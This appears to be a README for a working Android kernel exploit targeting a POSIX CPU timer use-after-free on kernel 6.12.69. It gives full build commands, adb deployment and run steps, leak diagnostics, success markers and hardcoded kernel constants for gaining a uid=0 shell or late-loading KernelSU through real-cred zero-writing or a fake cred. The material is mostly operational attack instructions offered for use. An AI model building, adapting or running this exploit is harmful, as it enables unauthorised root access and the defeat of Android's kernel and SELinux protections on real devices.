
Android カーネルの POSIX CPU タイマー use-after-free 脆弱性を悪用する 6.12.69 向けエクスプロイトで、偽の資格情報を利用して uid=0 のシェルまたは KernelSU の late-load を実現します。
6.12.69-android16-6-g242e1a07f878 的 CVE-2026-98260 POSIX CPU timer UAF 移植
2 つのチェーン:
timer:真の cred ゼロ書き込み → uid=0、u:r:shell:s0(shell ドメイン root、bset caps)timer fake:fake cred(full caps)→ インストール版 KernelSU libksud.so late-load| パス | 結果 |
|---|---|
real cred ゼロ書き込み + setuid(0) + exec sh | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
fake cred + ksud late-load | インストール版 libksud.so(uapi 6)、KSU_LOADED、su は u:r:ksu:s0 |
u:r:shell:s0)、tracefs と /proc/slabinfo を読み取り可能me.weishu.kernelsu)の場合、fake は自動的にその lib/arm64/libksud.so を使用するNDK 28.2(aarch64、API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 診断
adb shell /data/local/tmp/timer ids # tracefs page event id を検出
adb shell /data/local/tmp/timer leak # base/cred/task のリークのみ実行し、UAF はトリガーしない
# uid-0 shell(真の cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 対話型 sh
# KernelSU(fake cred + インストール版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake の成功マーカー:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake 成功後、親プロセスも park し、socket で fake cred ページを保持するtimeout/kill を実行しないこと。そうしないと init が stale node を回収して panic する可能性があるtimer/timer.c exploit
timer/timer 静的成果物
tools/*.c 移植診断ソース
主要な定数は timer/timer.c にハードコードされている:do_timer_create/copy_process サイト、selinux_state、panic_on_warn、copy_process task cache サイズ、init_* シンボル
カーネルを変更する際は、デバイスの boot.img/BTF/kallsyms を使って再導出する。tools/ 配下のファイルは、call site、raw record、timer リーク、および 8 KiB AF_UNIX 回収チャネルの確認に使用する
woshigenm/CVE-2026-98260(MIT):trigger、real-cred ゼロ書き込み、fake cred/KSU のアイデアghostlock-app:KernelSU late-load の最終段階